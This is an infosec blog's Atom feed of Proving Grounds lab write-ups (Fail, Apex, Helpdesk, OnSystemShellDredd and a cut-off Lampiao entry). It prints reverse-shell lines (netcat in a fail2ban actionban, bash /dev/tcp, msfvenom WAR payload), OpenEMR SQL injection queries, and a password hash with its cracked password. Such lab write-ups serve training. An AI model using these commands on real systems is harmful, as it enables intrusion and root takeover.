<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.3">Jekyll</generator><link href="https://alexjaen.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://alexjaen.io/" rel="alternate" type="text/html" /><updated>2023-06-28T00:16:44+00:00</updated><id>https://alexjaen.io/feed.xml</id><title type="html">AlexJaen.io</title><subtitle>Infosec writeups</subtitle><author><name>AlexJaen</name><email>alejandrojaencrespo@gmail.com</email></author><entry><title type="html">Fail - Proving Grounds Practice</title><link href="https://alexjaen.io/pg-practice-writeup-fail/" rel="alternate" type="text/html" title="Fail - Proving Grounds Practice" /><published>2023-06-28T00:00:00+00:00</published><updated>2023-06-28T00:00:00+00:00</updated><id>https://alexjaen.io/pg-practice-writeup-fail</id><content type="html" xml:base="https://alexjaen.io/pg-practice-writeup-fail/">&lt;h2 id=&quot;linux&quot;&gt;Linux&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-waldo/linux.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This blog post is a writeup of the Fail machine from Proving Grounds Practice.&lt;/p&gt;

&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;hr /&gt;
&lt;ul&gt;
  &lt;li&gt;The server runs a Rsync service which shares a /home folder without password.&lt;/li&gt;
  &lt;li&gt;Uploading a SSH key to this shared folder allows us to connect via SSH as fox user.&lt;/li&gt;
  &lt;li&gt;Fox user belongs to fail2ban group so we are able to modify some config files from this service.&lt;/li&gt;
  &lt;li&gt;Modifying /etc/fail2ban/action.d/iptables-multiform.conf and changing the actionban rule by a reverse shell line we are able to catch a reverse shell as root user.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;detailed-steps&quot;&gt;Detailed steps&lt;/h3&gt;
&lt;hr /&gt;

&lt;h3 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h3&gt;

&lt;p&gt;This machine has only two open ports –&amp;gt; 22-SSH and 873-RSYNC&lt;/p&gt;

&lt;p&gt;I started as always just enumerating the open ports with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -Pn -p- 192.168.186.126
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-fail\1.JPG&quot; alt=&quot;nmap1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I found a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RSYNC&lt;/code&gt; service which is a remote and local file synchronisation tool.
Nmap has a script to enumerate this service:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -Pn -sV --script=rsync-list-modules -p 873 192.168.186.126
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-fail\4.JPG&quot; alt=&quot;rsync&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the picture, Rsync it’s sharing a folder named fox.&lt;/p&gt;

&lt;h3 id=&quot;explotation&quot;&gt;Explotation&lt;/h3&gt;

&lt;p&gt;In order to exploit Rsync service, I tried to connect to fox folder using netcat:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@RSYNCD: 31.0
fox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-fail\6.JPG&quot; alt=&quot;rsync2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The response from Rsync was OK which means that no password is needed to connect to this folder.&lt;/p&gt;

&lt;p&gt;I used rsync to download the folder but it was empty.
&lt;img src=&quot;\assets\images\pg-practice-fail\7.JPG&quot; alt=&quot;rsync3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Having in count that there is a SSH service i tried to create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH key&lt;/code&gt; to upload to the shared folder and log in as fox user.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1- Generating the SSH key:
![rsync4](\assets\images\pg-practice-fail\9.JPG)

2- Uploading the key to the server:
![rsync5](\assets\images\pg-practice-fail\13.JPG)

3- Connecting via SSH with our key:
![rsync6](\assets\images\pg-practice-fail\14.JPG)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Being fox user I was able to find the user flag:
&lt;img src=&quot;\assets\images\pg-practice-fail\15.JPG&quot; alt=&quot;flag1&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;privilege-escalation&quot;&gt;Privilege escalation&lt;/h3&gt;

&lt;p&gt;I found that fox user belongs to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fail2ban&lt;/code&gt; group.
&lt;img src=&quot;\assets\images\pg-practice-fail\16.JPG&quot; alt=&quot;user&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Fail2ban scans log files and bans IPs that show the malicious signs – too many password failures, seeking for exploits, etc.&lt;/p&gt;

&lt;p&gt;Belonging to fail2ban group we are able to modify some configuration files.&lt;/p&gt;

&lt;p&gt;In /etc/fail2ban/jail.conf file I was able to find the bantime (1 minute), numer of failures (2) and how much time the server bans a host (10 minutes).
&lt;img src=&quot;\assets\images\pg-practice-fail\17.JPG&quot; alt=&quot;user&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Knowing this I decided to modify /etc/fail2ban/action.d/iptables-multiform.conf which contains the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;actionban&lt;/code&gt; rule.
This rule sets the action the server will take when a host is banned.&lt;/p&gt;

&lt;p&gt;I modified this file to open a reverse shell when a host is banned:&lt;/p&gt;

&lt;p&gt;File permissions&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-fail\18.JPG&quot; alt=&quot;actionban&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;actionban = /usr/bin/nc -e /usr/bin/bash 192.168.45.240 5566
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-fail\19.JPG&quot; alt=&quot;actionban2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In order to catch the reverse shell I opened a netcat listener and tried to login via SSH to get banned.
&lt;img src=&quot;\assets\images\pg-practice-fail\20.JPG&quot; alt=&quot;actionban3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once I get banned from the server I was able to catch the shell as root user:
&lt;img src=&quot;\assets\images\pg-practice-fail\21.JPG&quot; alt=&quot;actionban4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Root flag:
&lt;img src=&quot;\assets\images\pg-practice-fail\22.JPG&quot; alt=&quot;actionban5&quot; /&gt;&lt;/p&gt;</content><author><name>AlexJaen</name><email>alejandrojaencrespo@gmail.com</email></author><category term="provinggrounds" /><category term="infosec" /><category term="provinggrounds" /><category term="linux" /><category term="intermediate" /><category term="rsync" /><category term="fail2ban" /><summary type="html">Linux</summary></entry><entry><title type="html">Apex - Proving grounds Practice</title><link href="https://alexjaen.io/pg-practice-writeup-apex/" rel="alternate" type="text/html" title="Apex - Proving grounds Practice" /><published>2023-06-21T00:00:00+00:00</published><updated>2023-06-21T00:00:00+00:00</updated><id>https://alexjaen.io/pg-practice-writeup-apex</id><content type="html" xml:base="https://alexjaen.io/pg-practice-writeup-apex/">&lt;h2 id=&quot;linux&quot;&gt;Linux&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linux.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This blog post is a writeup of the Helpdesk machine from Proving grounds practice.&lt;/p&gt;

&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;hr /&gt;
&lt;ul&gt;
  &lt;li&gt;OpenEMR 5.0.1 it’s vulnerable to a sql injection that allows us to get a password hash.&lt;/li&gt;
  &lt;li&gt;Cracking this hash we can obtain the password and gain access to the web app.&lt;/li&gt;
  &lt;li&gt;OpenEMR it’s also vulnerable to RCE authenticated. Using the obtained password we are able to exploit it.&lt;/li&gt;
  &lt;li&gt;Once inside the victim’s machine we are able to reuse the same password to obtain root access.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;detailed-steps&quot;&gt;Detailed steps&lt;/h3&gt;
&lt;hr /&gt;

&lt;h3 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h3&gt;

&lt;p&gt;I started enumerating the open ports with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -Pn -p- 192.168.164.145
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\1.JPG&quot; alt=&quot;nmap1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Knowing which ports are open, I executed an agressive nmap with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -A 192.168.164.145 -p 80,445,3306 -o nmapa.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\2.JPG&quot; alt=&quot;nmap2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the last picture, there is a web server, a mysql server and a smb server.
By accessing the website I was able to see a sanitary webpage. By clicking on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Scheduler&lt;/code&gt; I could access to a login page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\5.JPG&quot; alt=&quot;webpage1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This login page shows that we are in front of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OpenEMR&lt;/code&gt;
&lt;img src=&quot;\assets\images\pg-practice-apex\6.JPG&quot; alt=&quot;webpage2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In order to find out the OpenEMR version, I found a common OpenEMR directory named ‘sql’ which was present in this server.
This directory stores sql files which are generated in the updates. Knowing this, we can deduce OpenEMR version (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5.0.1&lt;/code&gt; in this case).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\80.JPG&quot; alt=&quot;webpage3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Also this directory contains some more interesting files as database.sql. This file shows the structure of the OpenEMR database.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\89.JPG&quot; alt=&quot;webpage4&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;explotation&quot;&gt;Explotation&lt;/h3&gt;

&lt;p&gt;This OpenEMR version is vulnerable to some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sql injections&lt;/code&gt; we can find in the following report:
https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf&lt;/p&gt;

&lt;p&gt;This image shows the vulnerable files:
&lt;img src=&quot;\assets\images\pg-practice-apex\81.JPG&quot; alt=&quot;sqli&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Trying to search for these files I was able to acces to “add_edit_event_user.php” so I worked with this file.
&lt;img src=&quot;\assets\images\pg-practice-apex\83.JPG&quot; alt=&quot;sqli2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To make this job easier, I looked in the database.sql file mentioned above. I could find a table named ‘user_secure’ which contains usernames and passwords.
&lt;img src=&quot;\assets\images\pg-practice-apex\91_2.jpg&quot; alt=&quot;sqli3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After some attemps, I found a valid query using “substring” which can extract half password hash:
&lt;img src=&quot;\assets\images\pg-practice-apex\90.JPG&quot; alt=&quot;sqli4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Modifying this query I was able to get the other half (just replacing 1,32 by 32,60):
&lt;img src=&quot;\assets\images\pg-practice-apex\92.JPG&quot; alt=&quot;sqli5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Querys:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eid=1 AND EXTRACTVALUE(0x3b,(SELECT Substring(password,1,32)FROM users_secure LIMIT 0,1)))
eid=1 AND EXTRACTVALUE(0x3b,(SELECT Substring(password,32,64)FROM users_secure LIMIT 0,1)))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hash:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I used this page to analyse the hash –&amp;gt; https://hashes.com/es/tools/hash_identifier
As we can see in the picture, we are in front of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcrypt $2*$, Blowfish (Unix)&lt;/code&gt;
&lt;img src=&quot;\assets\images\pg-practice-apex\93.JPG&quot; alt=&quot;hash1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Knowing the type of hash I cracked it with hashcat:
&lt;img src=&quot;\assets\images\pg-practice-apex\95.JPG&quot; alt=&quot;hash2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, having this password I was able to log in successfully to the web portal as admin user:
&lt;img src=&quot;\assets\images\pg-practice-apex\96.JPG&quot; alt=&quot;access&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\97.JPG&quot; alt=&quot;access2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OpenEMR 5.0.1&lt;/code&gt; is also vulnerable to a remote code execution (authenticated). This means that at this point I could exploit it.&lt;/p&gt;

&lt;p&gt;In order to gain access I downloaded a python exploit from: https://www.exploit-db.com/exploits/48515
Opening a netcat listener and executing this exploit with the following paramaters, I was able to catch the shell.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python2 45161.py http://192.168.164.145/openemr -u admin -p thedoctor -c &quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.164.145/5555 0&amp;gt;&amp;amp;1'&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\101.JPG&quot; alt=&quot;shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\102.JPG&quot; alt=&quot;shell2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Being www-data user I was able to find the user flag:
&lt;img src=&quot;\assets\images\pg-practice-apex\103.JPG&quot; alt=&quot;flag1&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;privilege-escalation&quot;&gt;Privilege escalation&lt;/h3&gt;

&lt;p&gt;In order to elevate privileges I have been looking for a way for a while until I realised that I could use the previously obtained password again.
Just typing su root and using “thedoctor” as password I was able to log in as root and find the root flag.
&lt;img src=&quot;\assets\images\pg-practice-apex\227.JPG&quot; alt=&quot;root&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-apex\228.JPG&quot; alt=&quot;flag2&quot; /&gt;&lt;/p&gt;</content><author><name>AlexJaen</name><email>alejandrojaencrespo@gmail.com</email></author><category term="provinggrounds" /><category term="infosec" /><category term="provinggrounds" /><category term="linux" /><category term="intermediate" /><category term="web" /><category term="sqli" /><category term="openemr" /><category term="passwordcracking" /><summary type="html">Linux</summary></entry><entry><title type="html">Helpdesk - Proving grounds Practice</title><link href="https://alexjaen.io/pg-practice-writeup-helpdesk/" rel="alternate" type="text/html" title="Helpdesk - Proving grounds Practice" /><published>2023-06-15T00:00:00+00:00</published><updated>2023-06-15T00:00:00+00:00</updated><id>https://alexjaen.io/pg-practice-writeup-helpdesk</id><content type="html" xml:base="https://alexjaen.io/pg-practice-writeup-helpdesk/">&lt;h2 id=&quot;windows&quot;&gt;Windows&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/windows.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This blog post is a writeup of the Helpdesk machine from Proving grounds practice.&lt;/p&gt;

&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;hr /&gt;
&lt;ul&gt;
  &lt;li&gt;ManageEngine allows us to access with the default credentials.&lt;/li&gt;
  &lt;li&gt;Having a valid user, we are able to exploit CVE-2014-5301 and get a reverse shell as a privileged user.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;detailed-steps&quot;&gt;Detailed steps&lt;/h3&gt;
&lt;hr /&gt;

&lt;h3 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h3&gt;

&lt;p&gt;I started just enumerating the open ports with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -Pn -p- 192.168.152.43
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\1.JPG&quot; alt=&quot;nmap1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Knowing which ports are open, I executed an agressive nmap with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -A -Pn --script=vuln 192.168.152.43 -p 135,139,445,3389,8080 -o nmapa.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\2_2.JPG&quot; alt=&quot;nmap2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the last picture, there is a web server in 8080 port.
By accessing the website I was able to see a ManageEngine ServiceDesk Plus &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.6.0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\3.JPG&quot; alt=&quot;manageengine&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;explotation&quot;&gt;Explotation&lt;/h3&gt;

&lt;p&gt;This ManageEngine version is vulnerable to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2014-5301&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Vulnerability:  CVE-2014-5301
System Vulnerable: ManageEngine 
Vulnerability Explanation: Directory traversal vulnerability in ServiceDesk Plus MSP v5 to v9.0 v9030; AssetExplorer v4 to v6.1; SupportCenter v5 to v7.9; IT360 v8 to v10.4.  
Severity: high
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to gain access I downloaded a python exploit from: https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;To exploit this vulnerability you need to have a valid username and password so I decided to search the default credentials used by ManageEngine.&lt;/p&gt;

    &lt;p&gt;Google search:
 &lt;img src=&quot;\assets\images\pg-practice-helpdesk\8.JPG&quot; alt=&quot;manageengine2&quot; /&gt;&lt;/p&gt;

    &lt;p&gt;To my surprise, it worked
 &lt;img src=&quot;\assets\images\pg-practice-helpdesk\9.JPG&quot; alt=&quot;manageengine3&quot; /&gt;&lt;/p&gt;

    &lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\10.JPG&quot; alt=&quot;manageengine5&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Now, having our valid credentials, it is necessary to create the payload in a WAR file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mfsvenom&lt;/code&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; msfvenom -p java/shell_reverse_tcp LHOST=192.168.45.231 LPORT=5555 -f war &amp;gt; shell.war
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\7.JPG&quot; alt=&quot;manageengine6&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Before executing the payload I opened a netcat listener on 5555 port.&lt;/p&gt;

    &lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\6.JPG&quot; alt=&quot;manageengine7&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;The last step was run the exploit indicating the target, a valid credentials and our WAR file:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; ./exploit.py 192.168.152.43 8080 administrator administrator shell.war
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\11.JPG&quot; alt=&quot;manageengine8&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After running the exploit I was able to catch the reverse shell as a high privileged user.
&lt;img src=&quot;\assets\images\pg-practice-helpdesk\12.JPG&quot; alt=&quot;manageengine9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Being NT Authority\System I could find the root flag in Administrator’s desktop
&lt;img src=&quot;\assets\images\pg-practice-helpdesk\25.JPG&quot; alt=&quot;flag1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-practice-helpdesk\rootf.JPG&quot; alt=&quot;flag2&quot; /&gt;&lt;/p&gt;</content><author><name>AlexJaen</name><email>alejandrojaencrespo@gmail.com</email></author><category term="provinggrounds" /><category term="infosec" /><category term="provinggrounds" /><category term="windows" /><category term="easy" /><summary type="html">Windows</summary></entry><entry><title type="html">OnSystemShellDredd - Proving grounds Play</title><link href="https://alexjaen.io/pg-play-writeup-OnSystemShellDredd/" rel="alternate" type="text/html" title="OnSystemShellDredd - Proving grounds Play" /><published>2023-06-13T00:00:00+00:00</published><updated>2023-06-13T00:00:00+00:00</updated><id>https://alexjaen.io/pg-play-writeup-OnSystemShellDredd</id><content type="html" xml:base="https://alexjaen.io/pg-play-writeup-OnSystemShellDredd/">&lt;h2 id=&quot;linux&quot;&gt;Linux&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linux.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This blog post is a writeup of the OnSystemShellDredd machine from Proving grounds play.&lt;/p&gt;

&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;hr /&gt;
&lt;ul&gt;
  &lt;li&gt;FTP service allows us to access as anonymous user and obtain a RSA SSH key.&lt;/li&gt;
  &lt;li&gt;This key can be used to access via SSH.&lt;/li&gt;
  &lt;li&gt;Having access an attacker can exploit a command with the SUID to elevate privileges.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;detailed-steps&quot;&gt;Detailed steps&lt;/h3&gt;
&lt;hr /&gt;

&lt;h3 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h3&gt;

&lt;p&gt;This machine has only two open ports –&amp;gt; 21-FTP and 61000-SSH&lt;/p&gt;

&lt;p&gt;I started as always just enumerating the open ports with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -Pn -p- 192.168.187.130
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\0.JPG&quot; alt=&quot;nmap1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Knowing which ports are open, I executed an agressive nmap with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -A --script=vuln 192.168.247.130 -p 21,61000 -o nmapa.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\01.JPG&quot; alt=&quot;nmap1&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;explotation&quot;&gt;Explotation&lt;/h3&gt;

&lt;p&gt;In order to gain access I tried to login as anonymous user in FTP service.
I was able to access and find a SSH key:
&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\2.JPG&quot; alt=&quot;ftp&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I downloaded the SSH 
&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\3.JPG&quot; alt=&quot;ftp2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This key allowed me to login via SSH as “hannah” with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh -i id_rsa hannah@192.168.187.130 -p 61000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\6.JPG&quot; alt=&quot;ftp3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Having access as hannah, I was able to find the user flag:
&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\7.JPG&quot; alt=&quot;userf&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;privilege-scalation&quot;&gt;Privilege scalation&lt;/h3&gt;

&lt;p&gt;In order to elevate privileges I used Linpeas.sh –&amp;gt; https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
Linpeas found an interesting command with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID&lt;/code&gt; : cpulimit&lt;/p&gt;

&lt;p&gt;As we can see in the following picture, I was able to execute a root bash shell with cpu limit and find the root flag:
&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\21.JPG&quot; alt=&quot;root&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Root flag:
&lt;img src=&quot;\assets\images\pg-play-onsystemshelldredd\22.JPG&quot; alt=&quot;root2&quot; /&gt;&lt;/p&gt;</content><author><name>AlexJaen</name><email>alejandrojaencrespo@gmail.com</email></author><category term="provinggrounds" /><category term="infosec" /><category term="provinggrounds" /><category term="linux" /><category term="ftp" /><category term="ssh" /><category term="cpulimit" /><category term="suid" /><category term="easy" /><summary type="html">Linux</summary></entry><entry><title type="html">Lampiao - Proving grounds Play</title><link href="https://alexjaen.io/pg-play-writeup-lampiao/" rel="alternate" type="text/html" title="Lampiao - Proving grounds Play" /><published>2023-06-13T00:00:00+00:00</published><updated>2023-06-13T00:00:00+00:00</updated><id>https://alexjaen.io/pg-play-writeup-lampiao</id><content type="html" xml:base="https://alexjaen.io/pg-play-writeup-lampiao/">&lt;h2 id=&quot;linux&quot;&gt;Linux&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linux.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This blog post is a writeup of the Lampiao machine from Proving grounds play.&lt;/p&gt;

&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;hr /&gt;
&lt;ul&gt;
  &lt;li&gt;The webserver has a vulnerable Drupal version to RCE.&lt;/li&gt;
  &lt;li&gt;We access exploiting this vulnerability.&lt;/li&gt;
  &lt;li&gt;We are able to find credentials which allows us to login with a higher privileged user than www-data.&lt;/li&gt;
  &lt;li&gt;The Linux kernel version it’s vulnerable to dirtycow.&lt;/li&gt;
